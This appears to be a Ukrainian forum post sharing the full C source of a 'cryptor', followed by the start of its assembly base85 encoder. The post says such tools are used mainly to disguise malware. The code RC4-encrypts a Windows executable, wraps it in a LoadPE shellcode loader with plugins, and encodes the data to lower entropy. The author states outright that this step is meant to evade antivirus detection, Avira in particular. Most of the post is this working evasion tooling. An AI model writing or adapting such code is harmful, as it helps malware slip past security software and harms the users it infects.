1

Тема: [Джерельний код] Криптор

Нижче викладений джерельний код криптора, який активно мною використовувався. Єдиний пароль на всі архіви - replace
Трішки довідки:

Криптор (від англ. Cryptor — шифрувальник) — назва ряду програм для криптозахисту виконуваних файлів. Використовуються переважно вірусописцями й хакерами для маскування шкідливого програмного забезпечення.

З укр. вікі знов моя стаття
Особливістю цього криптора є:

  • Підтримка розширень

  • Генерація стабів окреме від криптування

  • Підтримка TLS

  • Використання лінкера для створення виконуваного файла

  • Мутація коду декриптора

  • Нормалізація ентропії файла

  • Невеликий стаб

  • Криптографічні функції виконані у вигляді пікоду для програмної віртуальної машини

Криптор складається з двох частин - власне криптора, який створює кінцевий криптований виконуваний файл зі вказаного початкового файлу і обраного стабу, і генератора стабів. Цей криптор є консольною програмою, яка одержує параметри з командного рядку і вертає власні помилки чи інформаційні повідомлення туди ж.
Наведені нижче стаби вже використовувалися, тому антивірус має на них реагувати. Для запуску початкового файлу, використовується мій LoadPE шеллкод з підтримкою розширень, а софтверна ВМ оця.

Власне криптор

Криптор писаний мовою C (Pelles C, але має без змін компілюватися і у Visual C++) і для парсингу json даних використовується бібліотека parson.

Головний файл криптора - packer.c

Одчинити
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <Shlwapi.h>
#include "parson.h"

#define LOADPE_BINARY_FILE "loadpe.bin"
#define LOADPE_PLUGINS_DIRECTORY "plugins"

extern void WINAPI ascii85encode (LPVOID pSrc, LPVOID pDst, DWORD dwSrcLen);
int openPluginFile (char* fPath);

#pragma pack(push, 4)
struct strucShellcodeData {
    DWORD dwOriginalFileSize;
    DWORD dwImageBase;
    DWORD dwShellcodeLen;
    DWORD dwDeepOfStack;
    DWORD pOriginalTLSIndex;
};
#pragma pack(pop)

#pragma pack(push, 1) 
struct _3B1P_PLUGIN_HEADER {
    DWORD   signature;
    WORD    wSize;
    DWORD   pReturn;
    DWORD   pLoadPEData;
    WORD    pEntryPoint;
    DWORD   dwPluginID;
};
#pragma pack(pop)

#define MAX_PLUGIN_NAME_LEN 0x20
#define PLUGINS_LEN 0x80

void** pPluginList;
DWORD  dwPluginListCount = 0;
HANDLE hFind;
WIN32_FIND_DATA FindFileData;
UCHAR  hasIcon = 0;
UCHAR  hasPlugins = 0;
char   szIconPath [MAX_PATH];
char   szPlugins [PLUGINS_LEN] = "";
UINT   dwIconResourceID = 0, dwImageDataResourceID = 0;
DWORD  dwLoadPEChainSize;
LPVOID pLoadPEChain;
DWORD  dwOriginalFileSize;
LPVOID pOriginalFile;
char   pass[0x40];
WORD   wPassLen;
char   sPath[0x400] = "";
char   szStubDirPath[MAX_PATH];
char   szStubSettingsJSONPath[MAX_PATH];
char   szStubObjPath[MAX_PATH];
char   szStubEntryObjPath[MAX_PATH];
char   szTempDir[MAX_PATH];
char   szSessionDirName[0x20];
char   szSessionDir[MAX_PATH];
char   szSessionDataFilePath[MAX_PATH];
char   szExternalResourcePath[MAX_PATH];
UCHAR  alphabet[85];
struct strucShellcodeData shellcodeData;
UINT   iCreationTime;
DWORD  dwRawDataSize, dwPackedDataSize;
LPVOID pRawData, pPackedData;
DWORD  dwOffsetLoadPE, dwAllocateMemory;
DWORD  dwDeepOfStack;
DWORD  dwCryptedFileSize;
LPVOID pCryptedFile;
DWORD  dwOverlaySize = 0;
LPVOID pOverlay = NULL;
BYTE   flagPackOverlay = FALSE, flagSaveOverlay = TRUE;
LPBYTE pTLSRawData = NULL;
DWORD  dwTLSRawDataSize = 0;
DWORD  pOriginalTLS;
DWORD  pOriginalTLSIndex = 0;
DWORD  hasExternalResource = 0;

DWORD szHashROR7XOR(char* s) {
    DWORD temp = 0, sumHash=0;
    int szLen = strlen(s);
    for (int i=0; i<=szLen; i++) { 
            temp = (temp >> 7) | (temp << 25);
        sumHash ^= temp;  
        temp = (temp & 0xFFFFFF00) | s[i];
    }
    return (sumHash);
}

VOID fprintfArrHex(FILE* f, LPBYTE arr, DWORD size) {
    for (DWORD i = 0; i<size; i++) {
        if (i) {
            fprintf (f, ", ");
        }
        fprintf (f, "0x%X", arr[i]);
    }
}

DWORD initLoadPE(char *szFileLoadPE, char *szPluginDirectory) {
    char szPlugin[MAX_PATH];
    FILE *fMainShellcode;
    char szPluginDirectoryMask[MAX_PATH];
    if (!(fMainShellcode = fopen(szFileLoadPE, "rb"))) return(FALSE);
    fseek(fMainShellcode, 0, SEEK_END);  
    dwLoadPEChainSize = ftell(fMainShellcode);
    fseek(fMainShellcode, 0, SEEK_SET); 
    pLoadPEChain = malloc(dwLoadPEChainSize);
    fread(pLoadPEChain, dwLoadPEChainSize, 1, fMainShellcode);
    fclose(fMainShellcode);
    strcpy(szPluginDirectoryMask, szPluginDirectory);
    strcat(szPluginDirectoryMask, "\\*.plugin");
    if((hFind = FindFirstFile(szPluginDirectoryMask, &FindFileData)) != INVALID_HANDLE_VALUE) {
        do {
            strcpy(szPlugin, szPluginDirectory);
            strcat(szPlugin, "\\");
            strcat(szPlugin, FindFileData.cFileName);
            openPluginFile(szPlugin);
        } while (FindNextFile(hFind, &FindFileData));
        FindClose(hFind);
    }
    return(TRUE);
}

LPVOID buildFileAttachmentBlock (PCHAR szFileAttach, PCHAR szName) {
    FILE *fAttach;
    DWORD dwNameSize = strlen(szName), dwAttachSize;
    if (!(fAttach = fopen(szFileAttach, "rb"))) return(NULL);
    fseek(fAttach, 0, SEEK_END);  
    dwAttachSize = ftell(fAttach);
    fseek(fAttach, 0, SEEK_SET); 
    LPBYTE pResult = malloc(dwAttachSize+dwNameSize+0xC);
    *((LPWORD) pResult) = 0xA77A;
    *((LPDWORD) ((LPBYTE) pResult + 0x2)) = dwAttachSize + dwNameSize + 0xC;
    *((LPBYTE) pResult + 0x6) = dwNameSize + 0x1;
    memcpy((pResult + 0x7), szName, dwNameSize + 0x1);
    *((LPDWORD) (pResult + 0x8 + dwNameSize)) = dwAttachSize;
    fread((pResult + 0x8 + dwNameSize), dwAttachSize, 1, fAttach);
    fclose(fAttach);    
    return((LPVOID) pResult);
}

LPVOID patchMemSpot32B(LPVOID pMem, DWORD dwLen, DWORD dwSpot, LPVOID pMemR, DWORD dwMemRSize) {
     LPVOID pResult = NULL;
     __asm {
        pusha
        mov     edi, DWord Ptr [pMem]
        mov     esi, DWord Ptr [dwLen]
        lea     esi, [edi+esi-0x4]
        mov     eax, DWord Ptr [dwSpot]
    up:
        cmp     eax, DWord ptr [edi]
        jz      ok
        cmp     edi, esi
        jz      err
        inc     edi
        jmp     up
    ok:
        mov     DWord Ptr [pResult], edi
    err:
        popa
    }
    if (pResult) memcpy(pResult, pMemR, dwMemRSize);
    return(pResult);
}

int openPluginFile(char* fPath) {
  FILE *fPlugin;
  long bPluginLen;
  struct _3B1P_PLUGIN_HEADER zvir;
  if (!(fPlugin = fopen(fPath, "rb"))) {
    return(FALSE);
  }
  fseek(fPlugin, 0, SEEK_END);  
  bPluginLen = ftell(fPlugin);
  fseek(fPlugin, 0, SEEK_SET);  
  if (bPluginLen < sizeof(zvir)) {
    fclose(fPlugin);
    return(FALSE);
  }
  char *binaryContent;
  binaryContent = (char *)malloc(bPluginLen);
  if (!binaryContent) {
    fclose(fPlugin);
    return(FALSE);
  }
  fread(binaryContent, bPluginLen, 1, fPlugin);
  char binSign[4];
  memcpy(binSign, binaryContent, 4);
  if (strncmp(binSign, "3B1P", 0x4) != 0) {
    fclose(fPlugin);
    free(binaryContent);
    return(FALSE);
  }
  memcpy(&zvir, binaryContent, sizeof(zvir) );
  if ((bPluginLen <= zvir.wSize+2) || (zvir.wSize == 0)) {
    fclose(fPlugin);
    free(binaryContent);
    return(FALSE);
  }
  char *binPluginName = (char*)calloc(1, MAX_PLUGIN_NAME_LEN);
  strncpy(binPluginName, binaryContent+zvir.wSize, MAX_PLUGIN_NAME_LEN);
  DWORD hashPluginName = szHashROR7XOR(binPluginName);
  free(binPluginName);
  if (hashPluginName != zvir.dwPluginID) {
    fclose(fPlugin);
    free(binaryContent);
    return(FALSE);
  }
  dwPluginListCount++;
  pPluginList = realloc(pPluginList, dwPluginListCount*sizeof(void *));
  pPluginList[dwPluginListCount-1] = binaryContent;
  return (TRUE);
}

int buildLoadPEChain (char* szPlugins) {
    struct _3B1P_PLUGIN_HEADER *zvir;
    char *pluginName;
    DWORD boolTLS = FALSE;
    pluginName = strtok (szPlugins, ",");
    while (!boolTLS) {
        if (!pluginName)  {
            boolTLS = TRUE;
            if (pOriginalTLS) {
                pluginName = "STATICTLS";
            } else continue;
        }
        int iBreakFlag = FALSE;
        printf (" [*] USE %s PLUGIN\n", pluginName);
        for (DWORD m = 0; m < dwPluginListCount; m++) {
            zvir = (struct _3B1P_PLUGIN_HEADER *) pPluginList[m];
            if ((zvir -> dwPluginID) == szHashROR7XOR(pluginName)) {
                pLoadPEChain = realloc(pLoadPEChain, dwLoadPEChainSize+zvir->wSize);
                memcpy((LPBYTE)pLoadPEChain+dwLoadPEChainSize, pPluginList[m], zvir->wSize);
                dwLoadPEChainSize+=zvir->wSize;
                iBreakFlag = TRUE;
                break;
            }
        }
        if (!iBreakFlag) return (FALSE);
        pluginName = strtok(NULL, ",");
    }
    pLoadPEChain = realloc(pLoadPEChain, dwLoadPEChainSize+0x4);
    memcpy((LPBYTE)pLoadPEChain+dwLoadPEChainSize, "4APA", 0x4);
    dwLoadPEChainSize+=0x4;
    shellcodeData.dwShellcodeLen = dwLoadPEChainSize;
#ifdef DEBUG
    FILE* fLoadPE = fopen("loadpe.bin", "wb+");
    fwrite(pLoadPEChain, dwLoadPEChainSize, 1, fLoadPE);
    fclose(fLoadPE);
#endif
    return (TRUE);
}

int parseOptionalParam (char *szparam) {
  char *token;
  char ** res  = NULL;
  token = strtok( szparam, "|");
  int n_spaces = 0, i, n;
  while (token) {
    res = realloc (res, sizeof (char*)*++n_spaces);
    if (res == NULL) exit (-1);
    res[n_spaces-1] = token;
    token = strtok (NULL, "|");
  };
  for (i = 0; i < (n_spaces); ++i) {
    char ** command = NULL;
    int command_params = 0;
    printf("res[%d]=%s\n", i, res[i]);
    token = strtok(res[i], "?");
    if (token) {
      while (token) {
        command = realloc (command, sizeof (char*)*++command_params);
        command[command_params-1] = token;
        token = strtok(NULL, "?");
      }
    } else {
      command[0] = token;
      command_params++;
    }
    if (!strncmp(command[0], "ICON", 4)) {
      if (command_params != 2) {
        free (command);
        free (res);
        return(FALSE);
      }
      hasIcon = 1;
      strncpy(szIconPath, command[1], 0x200);
    } else if (!strcmp(command[0], "PLUGINS")) {
      if (command_params != 2) {
        free (command);
        free (res);
        return(FALSE);
      }
      hasPlugins = 1;
      strncpy(szPlugins, command[1], PLUGINS_LEN);
    } else if (!strcmp(command[0], "OVERLAY")) {
      if (command_params < 2) {
        free(command);
        free(res);
        return(FALSE);
      }
      for (int z=1; z<command_params-1; z++) {
        if (!strcmp(command[z], "PACK")) {
          flagPackOverlay = TRUE;
        } else if (!strcmp(command[z], "NOTPACK")) {
          flagPackOverlay = FALSE;
        } else if (!strcmp(command[z], "REMOVE")) {
          flagSaveOverlay = FALSE;
        } else if (!strcmp(command[z], "SAVE")) {
          flagSaveOverlay = TRUE;
        } else {
          free(command);
          free(res);
          return(FALSE);
        }
      }
    } else if (!strcmp(command[0], "RESFILE")) {
      if (command_params != 2) {
        free(command);
        free(res);
        return(FALSE);
      }
      hasExternalResource = TRUE;
      strncpy(szExternalResourcePath, command[1], 0x200);
    } else {
      free (command);
      free (res);
      return(FALSE);    
    };
    for (n = 0; n < command_params; ++n) {
      printf("r[%d]=%s\n", n, command[n]);
    } 
  };
  free (res);
  return(TRUE);
}

int readStubConfig (char *szpathstub) {
  JSON_Array *array;
  JSON_Value *rootVal = json_parse_file(szpathstub);
  if (json_value_get_type(rootVal) != JSONObject) {
    json_value_free(rootVal);  
    return(FALSE);
  }
  JSON_Object *rootObj = json_value_get_object (rootVal);
  JSON_Value *passVal = json_object_dotget_value (rootObj, "pass.val");
  if (json_value_get_type(passVal) != JSONString) {
    json_value_free(rootVal);  
    return(FALSE);
  }
  const char *szPass = json_object_dotget_string (rootObj, "pass.val");
  strncpy(pass, szPass, 0x40);
  wPassLen = strlen(szPass);
  JSON_Value *iconResNumVal = json_object_dotget_value (rootObj, "icon.resnum");
  if (json_value_get_type(iconResNumVal) != JSONNumber) {
    json_value_free(rootVal);  
    return(FALSE);
  }
  dwIconResourceID = (DWORD) json_object_dotget_number (rootObj, "icon.resnum");
  JSON_Value *valOffsetLoadPE = json_object_dotget_value (rootObj, "loadpe.offset");
  if (json_value_get_type(valOffsetLoadPE) != JSONNumber) {
    json_value_free(rootVal);  
    return(FALSE);
  }
  dwOffsetLoadPE = (DWORD) json_object_dotget_number (rootObj, "loadpe.offset");
  JSON_Value *valImageDataResourceIDVal = json_object_dotget_value (rootObj, "datapeimage.resnum");
  if (json_value_get_type(valImageDataResourceIDVal) != JSONNumber) {
    json_value_free(rootVal);
    return(FALSE);
  }
  dwImageDataResourceID = json_object_dotget_number (rootObj, "datapeimage.resnum");
  array = json_object_dotget_array(rootObj, "alphabet.val");
  if (json_array_get_count(array)!=85) {
    json_value_free(rootVal);
    return(FALSE);
  }
  JSON_Value *valDeepOfStub = json_object_dotget_value (rootObj, "stackdepth");
  if (json_value_get_type(valDeepOfStub) != JSONNumber) {
    json_value_free(rootVal);
    return(FALSE);
  }
  dwDeepOfStack = json_object_dotget_number (rootObj, "stackdepth")+0x88+0x54;
  unsigned int z = 0;
  for(int i=0; i< 85; i++) {
    z = json_array_get_number(array, i);
    if (z > 255) {
      json_value_free(rootVal);
      return(FALSE);
    }
    alphabet[i]=z;
  }
  json_value_free(rootVal);  
  return TRUE;
}

LPBYTE RC4(LPBYTE lpBuf, LPBYTE lpKey, DWORD dwBufLen, DWORD dwKeyLen) {
    INT a, b = 0;
    BYTE s[256];
    BYTE swap;
    DWORD dwCount;
    for(a = 0; a < 256; a++) {
        s[a] = a;
    }
    for(a = 0; a < 256; a++) {
        b = (b + s[a] + lpKey[a % dwKeyLen]) % 256;
        swap = s[a];
        s[a] = s[b];
        s[b] = swap;
    }
    for(dwCount = 0; dwCount < dwBufLen; dwCount++) {
        a = (a + 1) % 256;
        b = (b + s[a]) % 256;
        swap = s[a];
        s[a] = s[b];
        s[b] = swap;
        lpBuf[dwCount] ^= s[(s[a] + s[b]) % 256];
    }
    return lpBuf;
}

UINT getSizeOfImage (PVOID pImgPE) {
  IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
  IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
  return (Image_Optional_Header->SizeOfImage);
}

UINT getImageBase (PVOID pImgPE) {
  IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
  IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
  return (Image_Optional_Header->ImageBase);
}

UINT getSizeOfStackCommit (PVOID pImgPE) {
  IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
  IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
  return (Image_Optional_Header->SizeOfStackCommit);
}

UINT getSizeOfStackReserve (PVOID pImgPE) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
    IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
    return (Image_Optional_Header->SizeOfStackReserve);
}

void setSizeOfStackCommit (PVOID pImgPE, DWORD dwStackCommit) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
    IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
    Image_Optional_Header->SizeOfStackCommit = dwStackCommit;
}

/*
DWORD OffsetToRVA(PVOID pImgPE, DWORD offset) {
    DWORD scount = 3;
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *) pImgPE;
    IMAGE_SECTION_HEADER *is_hdr = (IMAGE_SECTION_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    for(unsigned i = 0; i < scount;i++)    // Find section holding the Offset
        if((offset >= is_hdr[i].PointerToRawData) && (offset <= is_hdr[i].PointerToRawData +is_hdr[i].SizeOfRawData)) {
            return (offset+is_hdr[i].VirtualAddress-is_hdr[i].PointerToRawData);}
    return 0;
}
*/

 /*----------------------------------------------------------*
 *
 * RVAToOffset: Convert value from RVA to file offset.
 *----------------------------------------------------------*/
 DWORD RVAToOffset(PVOID pImgPE, DWORD dwRVA) {
        PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32) ((BYTE*)pImgPE+((IMAGE_DOS_HEADER *) pImgPE)->e_lfanew);
     int i;
     WORD wSections;
     PIMAGE_SECTION_HEADER pSectionHdr;
 
     /* Map first section */
     pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
     wSections = pNtHdr->FileHeader.NumberOfSections;
 
     for (i = 0; i < wSections; i++)
     {
         if (pSectionHdr->VirtualAddress <= dwRVA)
             if ((pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize) > dwRVA) {
                 dwRVA -= pSectionHdr->VirtualAddress;
                  dwRVA += pSectionHdr->PointerToRawData;
                  return (dwRVA);
             }
          pSectionHdr++;
     }
     return (-1);
 }
 
 /*----------------------------------------------------------*
 *
 * OffsetToRVA: Convert value from file offset to RVA.
 *----------------------------------------------------------*/
 DWORD OffsetToRVA(PVOID pImgPE, DWORD dwOffset) {
        PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32) ((BYTE*)pImgPE+((IMAGE_DOS_HEADER *) pImgPE)->e_lfanew);
     int i;
     WORD wSections;
     PIMAGE_SECTION_HEADER pSectionHdr;
      /* Map first section */
     pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
     wSections = pNtHdr->FileHeader.NumberOfSections;
      for (i = 0; i < wSections; i++)    {
         if (pSectionHdr->PointerToRawData <= dwOffset)
             if ((pSectionHdr->PointerToRawData + pSectionHdr->SizeOfRawData) > dwOffset) {
                 dwOffset -= pSectionHdr->PointerToRawData;
                 dwOffset += pSectionHdr->VirtualAddress;
                 return (dwOffset);
             }
         pSectionHdr++;
     }
      return (-1);
}

DWORD hasTLS (PVOID pImgPE) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
    IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
    return((DWORD)Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
}

DWORD getTrueRawSize(PVOID pImgPE) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *) pImgPE;
    DWORD scount = ((IMAGE_NT_HEADERS *)((BYTE*)pImgPE+Image_Dos_Header->e_lfanew))->FileHeader.NumberOfSections;
    IMAGE_SECTION_HEADER *is_hdr = (IMAGE_SECTION_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    DWORD dwTrueRawSize = is_hdr[scount-1].PointerToRawData + is_hdr[scount-1].SizeOfRawData;
    return(dwTrueRawSize);
}

VOID patchTLS (PVOID pImgPE, DWORD dwRVATLS, DWORD dwSizeTLS) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
    IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
    Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress = dwRVATLS;
    Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size = dwSizeTLS;
}

/*** Command line options:
   * [0] PACKER.EXE
   * [1] INPUT PE EXE FILE
   * [2] OUTPUT PE EXE FILE
   * [3] STUB DIRECTORY
   * [4] [OPTIONAL PARAMETERS]
   ***/

int main(int argc, char *argv[]) {
    FILE *finp, *fPackedData, *frc;
    DWORD dwSizeOfImage, dwSizeOfStackCommit, dwSizeOfStackReserve, dwImageBase;
    if (argc == 1) {
        puts ("PACKER input_executable_file output_executable_file stub_directory [optional_config_parameter]\nRTFM!!!\n");
        return(0);
    } else if (argc > 5 || argc < 4) {
        puts("ERROR: Invalid parameter number");
        return(1);
    } else if ((argc == 5) && (!parseOptionalParam(argv[4]))) {
        puts("ERROR: Invalid optional parameter");
        return(1);
    };
    if (!PathIsDirectory(argv[3])) {
        puts("ERROR: Invalid stub directory");
        return(1);       
    }
    strncpy(szStubDirPath, argv[3], MAX_PATH);
    strncpy(szStubSettingsJSONPath, szStubDirPath, MAX_PATH);
    PathAppend(szStubSettingsJSONPath, "settings.json");
    initLoadPE(LOADPE_BINARY_FILE, LOADPE_PLUGINS_DIRECTORY);
    strncpy(szStubObjPath, szStubDirPath, MAX_PATH);
    PathAppend(szStubObjPath, "stub.obj");
    strncpy(szStubEntryObjPath, szStubDirPath, MAX_PATH);
    PathAppend(szStubEntryObjPath, "entry.obj");
    GetTempPath(MAX_PATH, szTempDir);
    strncpy(szSessionDir, szTempDir, MAX_PATH);
    iCreationTime = (time(NULL)^clock());
    sprintf (szSessionDirName, "%X", iCreationTime);
    PathAppend (szSessionDir, szSessionDirName);    
    CreateDirectory (szSessionDir, NULL);
    if (!readStubConfig(szStubSettingsJSONPath)) {
        puts("ERROR: Invalid stub configuration file");
        return(1);
    };
    if (!(finp = fopen(argv[1], "rb"))) {
        puts(argv[1]);
        puts("ERROR: CAN'T OPEN SOURCE PE EXE");
        return(0); 
    };
    fseek(finp, 0, SEEK_END);
    dwOriginalFileSize = ftell(finp);
    fseek(finp, 0, SEEK_SET);
    pOriginalFile = malloc(dwOriginalFileSize);
    fread(pOriginalFile, 1, dwOriginalFileSize, finp);
    fclose(finp);
    dwSizeOfImage = getSizeOfImage(pOriginalFile);
    dwSizeOfStackCommit = getSizeOfStackCommit(pOriginalFile);
    dwSizeOfStackReserve = getSizeOfStackReserve(pOriginalFile);
    dwImageBase = getImageBase(pOriginalFile);
    pOriginalTLS = hasTLS(pOriginalFile);
    DWORD dwTrueRawSize = getTrueRawSize(pOriginalFile);
    if (dwTrueRawSize < dwOriginalFileSize) {
        dwOverlaySize = dwOriginalFileSize - dwTrueRawSize;
        printf(" [+] Overlay data detected. It`s length is %d\n", dwOverlaySize);
        pOverlay = malloc(dwOverlaySize);
        memcpy(pOverlay, (LPBYTE)pOriginalFile + dwOriginalFileSize - dwOverlaySize, dwOverlaySize);
        if (!flagPackOverlay) {
            dwOriginalFileSize -= dwOverlaySize;
            pOriginalFile = realloc(pOriginalFile, dwOriginalFileSize);
        } 
        if (!flagSaveOverlay) {
            free(pOverlay);
            pOverlay = NULL;
            dwOverlaySize = 0;
        }
    }
    SetCurrentDirectory(szSessionDir);
    if (!(fPackedData = fopen("data.bin", "wb"))) {
        puts("ERROR: CAN'T CREATE TEMP FILE");
        fclose(finp);
        return(0);
    };
/*    dwSizeOfImage = getSizeOfImage(pOriginalFile);
    dwSizeOfStackCommit = getSizeOfStackCommit(pOriginalFile);
    dwSizeOfStackReserve = getSizeOfStackReserve(pOriginalFile);
    dwImageBase = getImageBase(pOriginalFile);
*/
    shellcodeData.dwImageBase = dwImageBase;
    shellcodeData.dwOriginalFileSize = dwOriginalFileSize;
    shellcodeData.dwDeepOfStack = dwDeepOfStack;
    shellcodeData.pOriginalTLSIndex = 0;
    buildLoadPEChain (szPlugins);
    dwRawDataSize = (dwOriginalFileSize+dwLoadPEChainSize+0x3) & 0xFFFFFFC;
    dwPackedDataSize = 5 * dwRawDataSize / 4;
    dwAllocateMemory = dwOffsetLoadPE + dwRawDataSize;
    pOriginalTLS = hasTLS(pOriginalFile);
    if (pOriginalTLS) {
       LPBYTE pTLS = (LPBYTE) pOriginalFile+RVAToOffset(pOriginalFile, pOriginalTLS);
       dwTLSRawDataSize = ((PIMAGE_TLS_DIRECTORY) pTLS)->EndAddressOfRawData - ((PIMAGE_TLS_DIRECTORY)pTLS)->StartAddressOfRawData;
       shellcodeData.pOriginalTLSIndex = pOriginalTLSIndex = ((PIMAGE_TLS_DIRECTORY) pTLS)->AddressOfIndex;
       pTLSRawData = malloc (dwTLSRawDataSize);
       DWORD dwTLSRawDataRVA = ((PIMAGE_TLS_DIRECTORY) pTLS)->StartAddressOfRawData-dwImageBase;
       DWORD dwOffsetTLSRawData = RVAToOffset(pOriginalFile, dwTLSRawDataRVA);
       memcpy(pTLSRawData, (LPBYTE)pOriginalFile + dwOffsetTLSRawData, dwTLSRawDataSize);
       printf(" [+] has static TLS: 0x%X\n [+] size of raw data is 0x%X\n", pOriginalTLS, dwTLSRawDataSize);
    }
    patchMemSpot32B(pLoadPEChain, dwLoadPEChainSize, 0xBEA51F3D, &shellcodeData, sizeof(shellcodeData));
    pRawData = malloc(dwRawDataSize);
    memcpy(pRawData, pLoadPEChain, dwLoadPEChainSize);
    memcpy((LPBYTE)pRawData+dwLoadPEChainSize, pOriginalFile, dwOriginalFileSize);
#ifdef DEBUG
    FILE *frawdata = fopen("rawdata.dat", "wb");
    fwrite(pRawData, 1, dwRawDataSize, frawdata);
    fclose(frawdata);
#endif
    RC4((LPBYTE)pRawData, (LPBYTE)pass, dwRawDataSize, wPassLen);
#ifdef DEBUG
    FILE *frc4 = fopen("data_debug_rc4.dat", "wb");
    fwrite(pRawData, 1, dwRawDataSize, frc4);
    fclose(frc4);
#endif
    pPackedData = malloc (dwPackedDataSize);
    ascii85encode (pRawData, pPackedData, dwRawDataSize);
    fwrite (pPackedData, 1, dwPackedDataSize, fPackedData);
    fclose (fPackedData);
    int iSpace = dwSizeOfImage - (0x2000+dwPackedDataSize);
    if (iSpace > 0) {
        FILE *fbss = fopen("space.asm", "wb");
        fprintf(fbss, "format MS COFF\n\nsection '.bss' readable writeable\n\n  rb %d\n", iSpace);
        fclose(fbss);
        system("C:\\DEV\\FASM\\FASM.EXE space.asm");
    }
    fPackedData = fopen("data.asm", "wb");
    fprintf(fPackedData, "format MS COFF\n");
    if (iSpace > 0) {
        fprintf(fPackedData, "\nsection '.bss' readable writeable\npublic buffer\nbuffer rb %d\n", iSpace);
    }
    fprintf(fPackedData, "\nsection '.data' data readable writeable\n public crdata\ncrdata:\n  file 'data.bin'\n" );
    fclose(fPackedData);
    frc = fopen("resource.rc", "wb");
    if (hasIcon) {
        CopyFile((const char*)szIconPath, "icon.ico", FALSE);
        fprintf(frc, "0x86 ICON \"ICON.ICO\"\n");
    }
    fclose(frc);
    system("PORC.EXE resource.rc");
    system("C:\\DEV\\FASM\\FASM.EXE data.asm");
    char linkparam[MAX_PATH];
    sprintf(linkparam, "POLINK.EXE resource.res user32.lib kernel32.lib gdi32.lib data.obj %s %s ", szStubEntryObjPath, szStubObjPath);
    if (hasExternalResource) strcat(linkparam, szExternalResourcePath);
    if (iSpace>0) strcat(linkparam, " space.obj ");
    sprintf(linkparam, "%s /SUBSYSTEM:WINDOWS /ALIGN:4096 /OUT:crypted.exe /BASE:0x%X /MERGE:.rdata=.text", linkparam, dwImageBase);
    puts(linkparam);
    system(linkparam);
    CopyFile("crypted.exe", argv[2], FALSE);
    FILE* fcrypted = fopen(argv[2], "rb");
    fseek(fcrypted, 0, SEEK_END);
    dwCryptedFileSize = ftell(fcrypted);
    fseek(fcrypted, 0, SEEK_SET);
    pCryptedFile = malloc(dwCryptedFileSize);
    fread(pCryptedFile, dwCryptedFileSize, 1, fcrypted);
    fclose(fcrypted);
    patchMemSpot32B(pCryptedFile, 0x2C00, 0xACADBE71, &dwAllocateMemory, 0x4);
    patchMemSpot32B(pCryptedFile, 0x2C00, 0xAB7E6CA9, &dwPackedDataSize, 0x4);
    setSizeOfStackCommit(pCryptedFile, dwSizeOfStackCommit);
    fcrypted = fopen(argv[2], "wb");
    fwrite(pCryptedFile, dwCryptedFileSize, 1, fcrypted);
    if (dwOverlaySize) {
        fwrite(pOverlay, dwOverlaySize, 1, fcrypted);
    }
    fclose(fcrypted);
    return(0);
};

Файл base85enc.inc - реалізація мовою асемблера кодування даних (трохи спрощеним) алгоритмом BASE85знов моя стаття. Воно потрібне для нормаліізації статистики вихідного файлу (ентропії секції даних), на яку погано реагують антивіруси (особливо avira).

Одчинити
format MS COFF

include '%FASMINC%\win32a.inc'

section '.text' code readable executable

public ascii85_encode as '_ascii85encode@12'
extrn '_alphabet' as alphabet

proc ascii85_encode_dword pMem:DWord, dwVal:DWord
    pusha
    mov    eax, [dwVal]
    mov    edi, 085d
    xor    ecx, ecx
    mov    esi, [pMem]
    lea    ebx, [alphabet]
    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    inc    esi
    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    inc    esi
    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    inc    esi
